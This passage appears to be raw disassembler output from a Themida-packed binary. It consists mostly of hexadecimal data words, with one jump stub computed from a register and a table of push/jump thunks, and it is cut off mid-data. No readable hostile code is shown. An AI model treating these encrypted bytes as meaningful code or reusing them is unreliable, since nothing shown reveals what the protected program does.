0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh, 357B3D76h dd 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h, 8870565Ch dd 8984580Bh, 42C41222h, 28802C91h, 0FFD7E490h, 208E6ABCh dd 8F222870h, 7B57E539h, 0EC9825AEh, 1AC6F9DFh, 77FB2AC2h dd 7B5DA34Fh, 86580619h, 15F5E3B0h, 0F74FFBC2h, 0BCDE305Fh dd 0D9BD3E27h, 2CC0F8h, 13D70000h, 0ABB1F9A5h, 57E502E8h dd 506B6734h, 991D4CA4h, 0F0BDC571h, 63A7D6E7h, 58060381h dd 0B3286A8Ch, 0F8D9D6B2h, 0DF4Ch, 0C4126300h, 6C434BF7h dd 30F2C311h, 3641704Eh, 4C6F67A1h, 68B048A0h, 95E95491h dd 0D3CBCA4h, 7B4096A3h, 0A714C2CFh, 218C3F55h, 23B351F2h dd 6D694698h, 2896A24Eh, 0E0DBFBC8h, 7056DC34h, 8451F221h dd 767CC45Ch, 57E53A3Bh, 813E9A67h, 0CA4E7DD5h, 448D5AA2h dd 184F1E75h, 8DBF1D94h, 4724E5Eh, 8C47145Ch, 0B460597Ch dd 0C018C45Ch, 59858B91h, 0E95DFB2Ch, 2BAC79C1h, 0A0684092h dd 1D0CB49Ah, 58A0C85Eh, 1D0D6C52h, 2958805Eh, 2604B91Eh dd 38936E8Ch, 42D5E3CDh, 3E00000Bh, 0F2CF219Eh, 0AD8ADCE1h dd 67449625h, 1CF94B6Eh, 77B002BBh, 55686F41h, 0EAB2603h dd 0C6F9DFBCh, 7C3F9774h, 90961E2Ah, 580B89AAh, 125CC3BEh dd 5C4248C5h, 7051F1E8h, 815EB048h, 5B146655h, 63494F17h dd 7751F1E8h, 0A816204Fh, 0CAD9B0F8h, 1BF2A7C7h, 49959853h dd 0C159A6FFh, 0C3868C92h, 9157E583h, 9577BD69h, 0A0580682h dd 9EC7DC7Eh, 60F8D956h, 0C4h, 73468B58h, 59406FC7h, 4BF7C412h dd 7824993Eh, 0F1ED7F32h, 0D630A651h, 0BB13BFFCh, 0E2F4D123h dd 0B3212DD9h, 82BDC30Bh, 3057E506h, 7DEB608h, 0FADCCD33h dd 66BD15C1h, 0E716567Ah, 77BF6FDDh, 0FB4D5671h, 549CC45Dh dd 19B85087h, 2ECA53E1h, 0A63EF6E2h, 0F8DFBC0Eh, 86D5E7C5h dd 0AE983893h, 0A64A0h, 0FFC01C00h, 0BA03D0ADh, 74478B68h dd 29904522h, 0E0DDFAD7h, 4D63558Eh, 4E1338Ah, 0BD9AECCDh dd 7552A41Bh, 0FC085A61h, 8B886E74h, 0A19C580Bh, 0F8C5123Ah dd 0CBEEE3B0h, 2B11171Fh, 3F51F1E8h, 9F327F17h, 0E7166E1Ah dd 0DFDCFAD7h, 0E3C9CF97h, 0F751F1E7h, 67FFBC1Ah, 83502838h dd 553C6B4Eh, 63494F17h, 7751F1E8h, 0C115204Fh, 95414EFAh dd 8AF8D426h, 0D9989EE6h, 8F57E51Ah, 9275BB67h, 9F5805F9h dd 9FC6DD7Dh, 5FF8D9DBh, 695h, 5FF38057h, 441CA414h, 0A5132E15h dd 0F3E4B1F9h, 53FFBE15h, 2E3463FBh, 70018F66h, 134A73E0h dd 46E1A0E4h, 0BF9757E5h, 625D3B9h, 0CC0AE758h, 53EB43EFh dd 0E7C90FBBh, 0F2580625h, 0B27FB2D0h, 0FD699825h, 0F8D9AF68h dd 64896h, 0A513AD00h, 0F2E4B1F9h, 96C51DC9h, 1B878A90h dd 0ADD557E5h, 0FBD9BB01h, 0EE45805h, 7D299041h, 0E6A4F625h dd 0D9D978EDh, 840FE6F8h, 13135D17h, 12187EADh, 2F000006h dd 60CE6BD1h, 176268B0h, 0E557E502h, 0EDC81CBDh, 55E3F84Ch dd 0E9EF37E7h, 0EA0E5DC2h, 11E83058h, 0A365CB84h, 0A40E3DFFh dd 3E862A98h, 22334338h, 54D75F0h, 5A63703Dh, 1C2756AEh dd 0D2AF01BAh, 0EDD9B704h, 94A66D47h, 9039CAAh, 5F7D0000h dd 0A2310E60h, 0E6ECC91Bh, 2FA683D5h, 7C5B388Ah, 2B6EF41h dd 429429AEh, 0FB4D6C65h, 0B305BA1Eh, 69BB00D6h, 0E9CFD55Dh dd 0FD580B8Bh, 4F179B02h, 0F1E86349h, 204F7751h, 4EFAC115h dd 0E42CD442h, 33864F1Ch, 0BC002F87h, 57EB8947h, 0E9FF5179h dd 580B87D7h, 87D5BBC1h, 0C1E9580Bh, 70C6936Ah, 0B54D9055h dd 0F6C511DCh, 0B35BC8A4h, 82379E6Bh, 0B8854D53h, 2E72A11Ah dd 580B5730h, 0FBC215E2h, 0EC9825AEh, 0B9E16594h, 30D6000Dh dd 106814A5h, 15AD10C3h, 1D23EBC3h, 580B5737h, 7653644Bh dd 0E0054034h, 0E3D51948h, 88580BCAh, 0A318BA50h, 7ECC30Bh dd 0B574E81Bh, 0F0CDDD0Ch, 0E329D5E6h, 580B2301h, 0B8F0C75Fh dd 89B6290Fh, 0B1D12352h, 18605B7Bh, 86328D4Bh, 12EFFF2Eh dd 5B4147C4h, 6F580B3Eh, 44AFA388h, 942CE89Ch, 280A50FCh dd 0AD580A5Fh, 0DEEB9726h, 0A719C5FAh, 0DA20743h, 0C1152F6Bh dd 832F8E45h, 744B932Bh, 4490965Fh, 1D2D5C3Fh, 1343Fh dd 0C4129600h, 9A3E4BF7h, 4D337925h, 0DA51F1E8h, 0A077BFFCh dd 1174AD93h, 0F8629154h, 1C227EECh, 51F29336h, 428A224Ah dd 4D5C6C6Bh, 7EC6235Ah, 0F2A39278h, 4F7EA651h, 45CE4349h dd 0D80057ECh, 0A436D6FAh, 0C7D5BF3Eh, 79Dh, 74C6F9E3h dd 2F813C97h, 0E93B8052h, 9EF0C90Ch, 55A716C1h, 0C3149C1Ch dd 6CBA8FAh, 548461B3h, 9A3C196Bh, 3BC3CF21h, 0B8D4F35h dd 1686358h, 308D4A17h, 0DBE0F601h, 8B5222Fh, 0BFFD9B6h dd 85AF2CDh, 8A746330h, 8420EBC3h, 0D8841CAAh, 4B00BCBh dd 0DAE514ACh, 0F1CE0AFCh, 0E28E2FA4h, 0C3A0F28Ah, 0F0FDA914h dd 3A2026E7h, 4E51F25Dh, 70E28E26h, 21B64E0Ch, 4C87549Ch dd 5CD5BBC1h, 0C1E951F2h, 0D8257D29h, 0B810BCFDh, 2A3B7989h dd 0D4FEED7Dh, 7, 0B611EBh, 17680000h, 0B8092F40h, 0F9283C88h dd 27D3E8EEh, 0F1E3FFE1h, 0FE63C51h, 7048DC99h, 5B81BDDh dd 3A690159h, 4492AAE8h, 90482577h, 5A3D832Fh, 0C151F21Dh dd 3F9953EFh, 1CE4CAD0h, 1BF851F2h, 0FF5703B6h, 0A57DCF67h dd 90BF00D8h, 44C612A9h, 257D2992h, 11D9E18Dh, 0F1E8250Bh dd 0E2113951h, 12BE01D7h, 3EEAD105h, 6D19A031h, 92173357h dd 0FA00C8E0h, 51F1E814h, 0CBB96A97h, 0D399013Bh, 682A7CABh dd 69BB04D4h, 0F1EFC453h, 0CC9A4851h, 34FEED06h, 0FFFFFE82h dd 494F174Bh, 51F1E863h, 0E809EFF5h, 0F51D51F1h, 0CCD8072Fh dd 311h, 1C9F3704h, 2E91870h, 9042C412h, 0C7F4DE2Bh, 7F2BC31Bh dd 0D12DAA77h, 82E3EE06h, 5B8A220Ah, 0F2BE2517h, 1CE9C151h dd 15905B6h, 0EF9B24B4h, 74166897h, 53A516C0h, 979C6076h dd 32C8588Fh, 0EE9A25B3h, 0BA66FE96h, 0F2B48274h, 725F2C51h dd 0C90D1847h, 0CC3A46F2h, 0A753666Fh, 0EB83389Ah, 3D430B53h dd 51F2B557h, 0E14436Bh, 5E5D7946h, 0E72B5AB2h, 57EC5672h dd 3C9E7CA4h, 6D3EA425h, 5CB7583h, 27B50000h, 6A694698h dd 0AE240153h, 0F7DEBB0Dh, 449370C2h, 0CAEE2779h, 7ACCF1E6h dd 3385349Dh, 0EB3D8256h, 0A1F3C80Eh, 21070D95h, 35580B8Fh dd 0C412D33Ah, 993E4BF7h, 0E1F5D224h, 2CAB88DAh, 597C4991h dd 0BAC73160h, 0E7F4A01Dh, 1825D1ECh, 0E05602BBh, 29DBDE7Ch dd 686F85C5h, 0A0C50355h, 5EFEEDEDh, 225h, 43A61375h, 5A5F7292h dd 12BE56AEh, 6E7622BAh, 0C4DA7B97h, 0A800AC0Dh, 0AE473251h dd 896B3B7Fh, 3052AE9Fh, 4CEC7912h, 0F612FFFEh, 29000001h dd 2F8C4A17h, 0F2FC2B83h, 11AA2885h, 452B3179h, 0D751F1E8h dd 28E7C500h, 34B60DAEh, 0B93D6C74h, 0CF9FE591h, 0B6AE9F31h dd 88DDF694h, 76FFFEA3h, 1C1h, 43A6138Dh, 237B2792h, 433D438Bh dd 6F51F1E8h, 3137FF47h, 51F1E84Bh, 9E08375Fh, 9EE78858h dd 0D1996FAEh, 0E0E6E5CBh, 0A2D1F950h, 0CC993250h, 32FFFEEEh dd 189h, 0F8A61349h, 0E7ACAAB0h, 0B8E051F1h, 0E6F6C60Ch dd 0BBDDAE9Eh, 369D6A9Fh, 5483DB87h, 0FEEE7DE8h, 16381FFh dd 17980000h, 2318E4Ah, 30DCDFF7h, 0B608B323h, 7CC46CDAh dd 0E538E376h, 63745157h, 956AE5Ah, 0EA42EECDh, 1D330A52h dd 690FCC94h dd 0D01680AFh, 58062FEEh, 20BBD7F9h, 0F8D9A645h, 654B5119h dd 79580638h, 31BC2251h, 0D3000000h, 0B1F9A513h, 0E502E8ABh dd 0E28EB657h, 602BA9Ch, 27EFC558h, 6033B21h, 804BBE58h dd 8ABF6A18h, 1B6D9CC4h, 9201647Fh, 0B9FDF8D9h, 14000000h dd 0E3154017h, 87A56BEEh, 0F2699B81h, 0EF87AF51h, 0DB21B5C0h dd 0AF4CB66Dh, 2F770FA9h, 533A6858h, 0FFE33A85h, 0C2FBD8E5h dd 8491FB2Ah, 0B6BE6A53h, 25D1E8E9h, 43939ECDh, 17BFCC78h dd 893C52A4h, 0B051F228h, 67439526h, 70D55F9h, 57E6FD6Eh dd 71488956h, 0BA3E6DC5h, 5A7D4A92h, 0A3341163h, 0DD7E646Ah dd 6A925808h, 9EF0F4D2h, 0E3CD3EA7h, 3B4D5h, 0AF10CC00h dd 6A53805Dh, 24973B18h, 0D9E0F5D2h, 902DAA87h, 0FDB3053Eh dd 0B491E3DAh, 6D4A9C1Dh, 2502546Bh, 0ACB80AB1h, 91381E24h dd 514C580Bh, 0F8C512EAh, 0AE0DC9A6h, 0B2989E66h, 0C651F1E7h dd 0A65F6F9Eh, 4BF7C412h, 0DB23983Eh, 4CF8C50Eh, 0E8583E44h dd 446C51F1h, 45785FACh, 0DF00616h, 9951F1E8h, 83B20BCCh dd 1B630B79h, 0E51DEA15h, 0FE507857h, 0F7C41245h, 0FBE1E7AFh dd 0F51F1E7h, 414EB8E7h, 0F8D42695h, 989EE68Ah, 57E53905h dd 599F4B73h, 58061877h, 0A9226082h, 0F8D9BDBCh, 6CFCBA2h dd 4AA11AB8h, 0D2011FA1h, 766Ch, 40178300h, 2723EE42h dd 777DC501h, 51F2C591h, 444E7DA5h, 0A85C75D6h, 60F89029h dd 0E14F1218h, 401D57E5h, 227A2697h, 0E0EED4DAh, 0DA025806h dd 5F23FA42h, 70EEAE2Bh, 91990332h, 7DAC0DC4h, 6585739h dd 0BF8C6258h, 0EDFAA619h, 0CF27D3EAh, 2D7FE037h, 0E5E24D48h dd 0AD2664B6h, 0F8D92FB8h, 0E346h, 84673E00h, 20B35DACh dd 0A6B1979Dh, 9DC55806h, 12EFD605h, 3E4BF7C4h, 6B782499h dd 3108506Bh, 8250AA91h, 51686DBEh, 13208AB9h, 90A6F8C3h dd 51F275DDh, 97E9D204h, 0E9EF1CBAh, 51F27503h, 0F57EF17h dd 0F9289542h, 6915838Fh, 0C6781B21h, 0DE0657E5h, 9E42B08Ch dd 11C18E56h, 0B4377BAAh, 25DFB7Eh, 10C592DAh, 50E6FDA9h dd 0C5AE3174h, 0C11562FAh, 0C7F64EFAh, 0DAE3F4C1h, 912CAB88h dd 92F13BB3h, 9EAC9638h, 215h, 0FC4E716Bh, 0B709B41Fh dd 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h, 7E533082h dd 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0B92D7BDh, 89F0EB58h dd 8E43C512h, 71687F2Bh, 26B0524Fh, 0AE009830h, 0F2C909D6h dd 0B4BFEE46h, 0AF2E422h, 48C8C62Bh, 0A450E8D0h, 0A962B44Ch dd 0B1F9A513h, 0E502E8ABh, 666C3457h, 58060380h, 48F4CB0Dh dd 0D3022AF0h, 357B274Fh, 58060353h, 17BB885Eh, 308EEF4h dd 0F41C5806h, 0A535055Ch, 0FB3AFCCh, 0D7CC8EE0h, 0F8D9648Eh dd 0E070h, 369B6800h, 176D5483h, 2F8C4Ah, 0B225E1F5h, 0BFC7730Bh dd 2DD9E6F2h, 3C9BA6D5h, 0DC8FD581h, 851F1ECh, 0A5C9C431h dd 3B4150DFh, 51F29855h, 7AA94169h, 0C54676Fh, 61C18035h dd 4B7ADCEEh, 4296633Bh, 1AA3307Dh, 0DCE7166Eh, 915C1FAh dd 0E3ABF39Bh, 0F222F7DDh, 0B4E30B51h, 7405A8AEh, 6B9357E5h dd 1FCF3D19h, 26ADD1D7h, 0EEBB5DFBh, 22A6D5EAh, 0E02D8C45h dd 0E42CC4F5h, 0CDFCBF17h, 2BDDFAC7h, 106814A7h, 8E492678h dd 74A7512Fh, 543E3893h, 0E446h, 7F409C00h, 3A83502Dh dd 0F4C70BE8h, 0A910C5A2h, 605D7A57h, 0CDE3D50Eh, 8461B30Ah dd 3D1A6C4Dh, 0F5D2249Bh, 7C88DAE1h, 9408EEF4h, 211C580Bh dd 0F8C512BAh, 0AE0DC9A6h, 1EB7845Ch, 0E1E7EF9Bh, 51F1E7FBh dd 204FE70Fh, 894A1739h, 1308834h, 2FDBE0F6h, 0B507B422h dd 0C40E6BD9h, 57CA9E38h, 0BD5533DFh, 0D921B911h, 44F0C90Ch dd 0B1B7BDECh, 57EC5740h, 8E96426Ah, 79A817C1h, 153686Eh dd 5D09B224h, 0C6960E17h, 0BA01D11Eh, 2A61F70Eh, 65AB5D80h dd 52FEBF18h, 99183A1Eh, 2EC37FE3h, 9C487761h, 0CC0A1544h dd 16C09DEFh, 24F1F9A5h, 72585EAFh, 86A0E92Eh, 0C21AC65Eh dd 0AD596075h, 0BA1B2655h, 5CFE53FFh, 0EBD0063Eh, 0A11ABC99h dd 0B620EDF5h, 81B0E046h, 720A56BEh, 33743h, 0E48E0000h dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 696833B8h dd 89000071h, 8957243Ch, 4C781E7h, 83000000h, 3C8704EFh dd 34895C24h, 6F76824h, 14890000h, 22C4BE24h, 4E465F32h dd 2414F756h, 49EE815Eh, 549AB43Ch, 8124148Bh, 4C4h, 0F0895000h dd 242C8150h, 10033B9Ch, 8108428Fh, 3B9C0842h, 0FF581003h dd 815A2434h, 4C4h, 24348B00h, 81E38953h, 4C3h, 4C38100h dd 87000000h, 0E95C241Ch, 0FFFAD013h, 998D13E0h db 10h, 9Bh, 16h ; --------------------------------------------------------------------------- loc_5A39F3: ; CODE XREF: Themida_:005A2C7Cj mov eax, 619AD93h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 1A911019h, 455707E3h, 11A16765h, 1C09F2BAh, 55A9BA9Dh dd 9ED30C0h, 10148AF3h, 2539F6C4h, 2E325653h, 0AF6DC8Eh dd 187EBF9Ch, 660DD15Ch, 764A2EE3h, 3F8B7C7Eh, 5A53B84Bh dd 5894F75h, 23CD90E8h, 7615E918h, 380EA425h, 7D4AF078h dd 3E0FBE1Fh, 36FE281Eh, 59B6D704h, 38508E4Bh, 6B84112Bh dd 38FED37h, 2A79AED0h, 181E9h, 2BED0700h, 9D692C03h, 614DFA85h dd 0BC59844Dh, 0B757A10Ah, 0B457B553h, 0BF59350Ah, 9470CC53h dd 0C625273Ah, 3D71D853h, 39C504D1h, 81B7A89Dh, 0F014C552h dd 12853h, 0 dd 400h, 2 dup(0) dd 2F00h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 45h dup(0) dd 0FBE90000h, 68000016h, 619B225h, 0FB96A9E9h, 0B32C68FFh dd 9FE90619h, 68FFFB96h, 619B40Fh, 0FB9695E9h, 0B4D268FFh dd 8BE90619h, 68FFFB96h, 619B679h, 0FB9681E9h, 0B80968FFh dd 77E90619h, 68FFFB96h, 619B8CCh, 0FB966DE9h, 0B99168FFh dd 63E90619h, 68FFFB96h, 619BBCEh, 0FB9659E9h, 0BCA068FFh dd 4FE90619h, 68FFFB96h, 619BD3Eh, 0FB9645E9h, 0BDBB68FFh dd 3BE90619h, 68FFFB96h, 619BF69h, 0FB9631E9h, 0C4CA68FFh dd 27E90619h, 68FFFB96h, 619C5B5h, 0FB961DE9h, 0E98983FFh dd 6CFE0418h, 0F179879Bh, 73F50C20h, 0FA788EA2h, 82EF1429h dd 91DEE84h, 91A576FAh, 172BFC74h, 4DAF80E8h, 0A9D86C08h dd 0F5533046h, 4226D9A5h, 0AEBA4589h, 49F109DDh, 0C490F2FDh dd 0FA8E2ABFh, 752A2DE0h, 0FFC253E4h, 11117A63h, 22C7FF34h dd 0FFB7E5F9h, 4FDB9425h, 304120B7h, 0F9B2B649h, 0A573D611h dd 68FC6B8Eh, 1D1CD59Bh, 5BADBDB9h, 4DF071F5h, 406FA7BBh dd 48h, 8B27AA42h, 2A2CF9F7h, 0A4A8E172h, 45C88B8Ch, 0F99226C2h dd 7C0D2A2Ch, 207EB743h, 40033410h, 411410A4h, 69FA8B30h dd 17B452A6h, 3BEA41A7h, 0D710A1FDh, 0AE4AE26Eh, 0B81E3041h dd 0D110B3BEh, 5036FA7h, 5000001h, 7F4226D9h, 0DA93D72Bh dd 0B3F76099h, 22661F53h, 8ED28BDDh, 47305071h, 0E4FFEEE1h dd 0C73C9053h, 76AFF0A9h, 10BAB2F5h, 6C4ABDD8h, 98EB77B0h dd 712A2C9Dh, 1679AEEh, 2D959125h, 427B0C2Ah, 966701FEh dd 32EB7D82h, 0D8986BBFh, 95E57915h, 0D7682A2Dh, 81829A9Eh dd 1B433BBEh, 0C181E627h, 0E5B6427Bh, 483410E4h, 0D89529C5h dd 87183041h, 0D89428C4h, 86173041h, 0A669FA4Dh, 3733CF23h dd 0CD613D7Eh, 503041D8h, 310586BFh, 0B9551819h, 3A289057h dd 25619AAh, 57AB6E04h, 0C708C1A9h, 659ED233h, 3C36D0E4h dd 0BA069473h, 2472EDE0h, 1449h, 93640EFEh, 16E7837Fh dd 9B6CFE02h, 1DEE7A87h, 0A475FD09h, 9FD6A8Fh, 7F849869h dd 0F90C20F1h, 6D92A677h, 83C82AFBh, 46AB53E7h, 2878D630h dd 379E2DD9h, 0C81C5EECh, 0AABE8F20h, 58501355h, 0CE29DB68h dd 48E79DBDh, 62F7FAAEh, 0C91798D1h, 3D000119h, 0D39D66BAh dd 14A0D91Ah, 34101FDBh, 97D92A7Eh, 11649DDEh, 0D154C780h dd 141EB24Eh, 10A13041h, 4113A034h, 518A1B30h, 41142DC5h dd 0DB9B0130h, 0A736F396h, 0BBE66Fh, 0D9E80000h, 45894226h dd 6CF8B1C1h, 2A2C0619h, 4669CF0h, 8C760A4Bh, 0ABE425DEh dd 0FFD09867h, 9B5414EBh, 3C2ED428h, 5094283h, 0A629ECEDh dd 2CFD760Ah, 2F68F92Ah, 0AE4139BCh, 0C1E33DEBh, 0C3942059h dd 0A6341111h, 0EF8BB352h, 3041E15Bh, 83BC4DDEh, 0FACE9F30h dd 821EE1E2h, 3A289E11h, 4D23E034h, 6D30C114h, 0B485ED19h dd 430C66A0h, 0E0BA32FAh, 421A68E3h, 5000013h, 869A6B07h dd 91DEE7Ch, 8EA273F7h, 1024F573h, 96AB7CF6h, 70020461h dd 0F8788B9Fh, 7EF21327h, 26699ADh, 0EE8ACF31h, 3046AC5Ah dd 0D92777D5h, 6074452Dh, 0B5F8C99Fh, 0BDCC16BDh, 0F48DBF2h dd 0AD56AA91h, 0D06400C3h, 4B2A2CF9h, 0C23D81BAh, 827AEDA6h dd 93716D24h, 0EC306943h, 36CF2313h, 6CCA5E3Ah, 0AC542A2Dh dd 528A1BBEh, 1069A79Ch, 0A8790A0Ah, 45FE6C94h, 1FB34FD2h dd 9A2A2D34h, 738CD009h, 8DE124F5h, 0FA3BF474h, 14CD9B66h dd 0C7419AD3h, 0DB9E9FB7h, 10597E3Fh, 9A720334h, 0BA56B34Ch dd 6C6D8529h, 38480DA9h, 0B44525AEh, 0DEDFF7FBh, 0AD3C7F1Bh dd 0A2252B9Dh, 0ACEF831Fh, 0D96A1BCAh, 0CAAC69FDh, 1A53E41Bh dd 1F7336C7h, 0A3B788E0h, 0F0430C5Ch, 0B91125DDh, 125FF03Eh dd 24E80000h, 99697D4Eh, 14EC00D1h, 90718556h, 13F307D8h dd 44798E5Fh, 82531FE7h, 0ADB956Eh, 90610FF6h, 14E5837Ch dd 3DD16DB2h, 0C03046AEh, 27AA1262h, 633F33D3h, 2A2CF9CFh dd 3C80B94Ah, 0E8ECA5C3h, 700CCFD0h, 34100BA3h, 9BCD3286h dd 0AD7E0F62h, 49026699h, 692C2D45h, 2ABAE3CDh, 6D92263Ah dd 5E01B354h, 4958927h, 0A35CB073h, 2EB1F4C5h, 3AB6FE92h dd 0B7F0812Ah, 23DC8C73h, 4306071Fh, 24699DA7h, 0D0932434h dd 0D0B73DD8h, 6AA37F89h, 0C5CA3F7h, 90D8273Bh, 0F01064D7h dd 4780C17Ah, 672A2B43h, 20B448E4h, 0A6373041h, 0B15EFA6Dh dd 0DC3A2435h, 40C5824Bh, 8702E0B8h, 119C39h, 1161AB00h dd 94D62C40h, 1951AFC3h, 9BCD3448h, 2250B6CAh, 0AA873C51h dd 3145165Ch, 0B9CD9ED2h, 3F53244Ch, 75D7A8C0h, 0AE009430h dd 1D7B3046h, 452DD9CDh, 8788A074h, 1E8F28C4h, 6FF23410h dd 41133FD3h, 0F029BA30h, 0F530C9Dh, 93A778F0h, 9A2ECA6Ch dd 15304112h, 0AF93E4DDh, 0DF7062F6h, 0B3938B4Eh, 0D1B5DE16h dd 0FBF22A60h, 60F17907h, 0A2BABE27h, 4DE6DEA1h, 5DF18D26h dd 0E0304117h, 3EFB174Fh, 0E39CCE32h, 65D811A2h, 24760CC9h dd 0D149813Ah, 0DA22A4BAh, 4A036F97h, 2EE77809h, 9C551BEAh dd 7C0AA58h, 863040C3h, 2CA4B6B0h, 0F8075016h, 0B3CB9F70h dd 0E96CEFB2h, 2DC5B94Dh, 0ADBD432Ah, 7F10B3F4h, 995216EBh dd 0FA931F58h, 5F3410EAh, 0CEAC40DCh, 730F3041h, 3041CEDFh dd 9526C95Ah, 0BF78095Ch, 2BE4847Bh, 6D3A3C90h, 0F5915455h dd 3A24F35Ch, 0B5B54DE1h, 592ABBFCh, 2F41C216h, 4A03679Bh dd 738CD009h, 0D1C93CF5h, 51CDF43Eh, 692CBB5h, 2A2CF66Eh dd 0D285E145h, 0F5783B2Dh, 2DF6C559h, 2BA6B32Ah, 0A6B68C59h dd 0B8397203h, 0F90A5BA4h, 2B23E677h, 3BAD85E2h, 0FF68A14Ch dd 0ABFD948Ch, 0C6B94E88h, 7071898Dh, 0D06C11ADh, 80113410h dd 0DF9F86AFh, 6703C6C7h, 3A2B7785h, 8D936BFCh, 0B440F979h dd 2A3A5F1Ch, 12D5D6EEh, 24117476h, 8346D734h, 0E099D12Fh dd 0B2DDDFF8h, 0C2536ED9h, 3DC21689h, 0B9465A2Bh, 2F83F6AFh dd 9CDD96D2h, 8BE71F63h, 0ACCA1FC2h, 7BC944E6h, 0FF5h dd 0E7B8BA52h, 6A3B2FD3h, 0EFC0AA56h, 714226DBh, 0F8C9A95Dh dd 0B5513EE3h, 2BD8ECBDh, 0A5607445h, 19E6FACBh, 0D71C7E4Fh dd 46AFA73Bh, 74C42230h, 9B9E2DD9h, 3736FA98h, 0EDD2C6FEh dd 0A7FD35A3h, 0AE024516h, 0B347E353h, 362A2CFEh, 97DB14A5h dd 0E93D0068h, 579B541Ch, 0C90AC3AFh, 2396FF38h, 0FC86392Bh dd 3A735A89h, 0A65F09F6h, 342343A7h, 89CC9DCBh, 9F5CC35h dd 29463CF2h, 2B6C25B6h, 7515B8F2h, 8B086993h, 0A000001h dd 0C0AA56AAh, 498DC607h, 1B57AFB6h, 0D7902162h, 2BFC6C93h dd 7B3E3F57h, 1029F6DFh, 31EA7B34h, 412A0DA5h, 199CE130h dd 4129E97Dh, 9AD36430h, 45C86006h, 412A15A9h, 0CE079830h dd 0A748F194h, 4BE46Fh, 0F9F10000h, 1DAFCADCh, 481DF023h dd 0E9CD0F70h, 0AAA11F58h, 84BDAB56h, 0A4676880h, 84BDB350h dd 203C7511h, 0B0413410h, 36799EDh, 67D0094Ah, 0D63A0F4h dd 13B048D4h, 1E843041h, 36761958h, 0C0696FA7h, 76000000h dd 568FE122h, 4226D9D8h, 0B1C14589h, 0D23185F8h, 6BA4E59Eh dd 0CD90D827h, 28E18979h, 145AEE7h, 3D996AFEh, 2A2C05EAh dd 14D7916Eh, 0EF2741C0h, 38D5AEA2h, 0B8397220h, 0C256F275h dd 3D2A2D8Dh, 576F73ACh, 0F79356h, 8934144Ah, 25E135F8h dd 0B6397C4Dh, 10C99F62h, 195FF3CFh, 49DA3043h, 1956EA86h dd 48D93043h, 373BCB0Fh, 0AE4EE56Eh, 0F947C2E6h, 0E65h dd 77482AE2h dd 0FACB9F63h, 7F501AE6h, 1D2966Bh, 885919EDh, 25E14E73h dd 9B687C4Dh, 15F004D5h, 89768A5Bh, 67AC0EDFh, 46B237CBh dd 454B230h, 570B2AAh, 0ACFC8E1Dh, 98D72F73h, 94A036Dh dd 6C93A778h, 0D9DD2BFCh, 45894226h, 0F56ABBAh, 7CBD76F2h dd 0F88C28EBh, 732A2CF9h, 6C8051E2h, 181CD593h, 0E83CFF00h dd 5697501Ah, 0AD0EAA1Dh, 0E0341013h, 0B0607E4Fh, 9B000007h dd 51B0BF47h, 8C1D5E17h, 2DD9D553h, 0D22E8245h, 659EDF98h dd 0F9D870FCh, 92AA2A2Ch, 3832CE91h, 0BB3416ACh, 61E4672Ah dd 46A831C5h, 0E21BAC30h, 3607619Eh, 0D28BDD22h, 31FA788Eh dd 0E6A1C09Ah, 0A22674EFh, 0A500000Dh, 263A0B67h, 0A9BD8EDCh dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h, 98D82B3Fh dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046B1FAh, 0D9C71775h dd 2E82452Dh, 9BDC95D3h, 32CDE162h, 0C6397D36h, 86EAE9A2h dd 0E08877E0h, 0F87B251Dh, 1E5614EEh, 84BDC37Fh, 1756F903h dd 20496994h, 4B000000h, 0BA89B2AAh, 0F2A88A3Ch, 0B6C917BAh dd 0F0295CD3h, 2C723F64h, 0B6BA492Ah, 0FDBA8725h, 0AAB7FFFFh dd 0FFC2B056h, 2CF9CF63h, 80B94A2Ah, 2CF95CF4h, 15162E2Ah dd 8A7BCF52h, 0B3EC2DE6h, 16AC3527h, 581BAC34h, 1DADDDD5h dd 183A2068h, 4649BDFh, 88E01F33h, 0F77B8BCFh, 0A10E892Eh dd 2D7BF6E6h, 0CDDh, 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h dd 10E19175h, 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h dd 0EF349667h, 46B2BF53h, 8CDC3A30h, 0C73F26D9h, 1D611AABh dd 0CECD86E2h, 0D82C0C6Ah, 0E32A9E2Bh, 0C8224E6Bh, 7A3D7E37h dd 2D1E4ADEh, 0FB34C52Ah, 4F2048B7h, 0A7C0140Ch, 7EFE24D1h dd 24680B45h, 0D5B6993h, 5D000000h, 2C106C91h, 0FD85232Ah dd 0B5FFFFFCh, 3D000119h, 185119E9h, 17BC09A5h, 20B13410h dd 0C42DB67h, 0B2183041h, 2A0AADB4h, 0F5FD6FA7h, 0A000001h dd 0F99B8C12h, 0FF3842C2h, 0FA299181h, 0EC5E2A2Ch, 0AE7FE916h dd 4A03659Ah, 0EE8283D7h, 0F97929B5h, 1172A2Ch, 580DF265h dd 9306BFA9h, 2CF963F7h, 0C455E62Ah, 0F9D16501h, 0BB4C2A2Ch dd 6785592Ah, 8E71B56Eh, 72C609DAh, 5CA0D98Fh, 0AE02C5A3h dd 775F1852h, 74A8B07h, 639C2D24h, 53C66EFAh, 0D51A2A2Dh dd 5422B652h, 0D4082A2Dh, 10D39505h, 0CE32C669h, 3ED20B9Ch dd 4E963938h, 71896993h, 8B000001h, 0C03F26D9h, 1AAEEFA8h dd 31F485EBh, 0F97E12AEh, 70012A2Ch, 758ACE37h, 0E7DF22F3h dd 0CF6C5629h, 0C104935h, 9430F3F4h, 341096ABh, 0F8843DCEh dd 30415560h, 0C9A8CE34h, 6FA77426h, 2719h, 1191B00h, 68A13D00h dd 0ED341020h, 0DC30A35Ch, 4F904927h, 13F28A16h, 60C63041h dd 36B85B06h, 0F4AB6FA7h, 0AD000000h, 7F4226D9h, 2ACB04FCh dd 5678E696h, 2D26E67Ah, 0E58B782Ah, 7679B142h, 29D315B1h dd 83C73069h, 5015EC83h, 0BEFFB8B2h, 85D99C2Dh, 